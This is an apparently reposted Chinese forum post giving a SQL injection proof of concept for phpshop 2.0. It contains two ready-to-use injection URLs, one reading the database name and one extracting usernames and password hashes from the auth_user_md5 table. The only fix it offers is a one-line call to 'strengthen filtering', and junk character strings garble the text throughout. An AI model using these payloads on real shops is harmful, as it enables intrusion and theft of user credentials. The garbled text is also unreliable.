phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability

; }1 }8 D% A, l) m5 v! Z) C$ v作者 : By onestree
下载地址 : http://code.google.com/p/phpshop/downloads/list
# C2 D& o% m. [9 ~6 Y# |测试地址: windows 7 / ubuntu

2 t; c: S9 K, O
SQLi p0c:
4 z; k8 x4 C4 [' ~+ y9 s
" m. o/ J. z# P' x' }% D==================

% H6 q' T8 R0 e" g+ S' m9 j. |http://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --

' |3 T8 A' ?6 T- ]+ A: n; W" whttp://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--
& c, u/ H8 f  A3 d4 z. R, |
修复：
3 {/ K, \( r6 _" g0 y+ Y/ \7 a' b加强过滤
( B4 m9 E/ [0 u% Y1 |2 F  j​

: ~, Z! M6 Y# I" x% F1 a+ l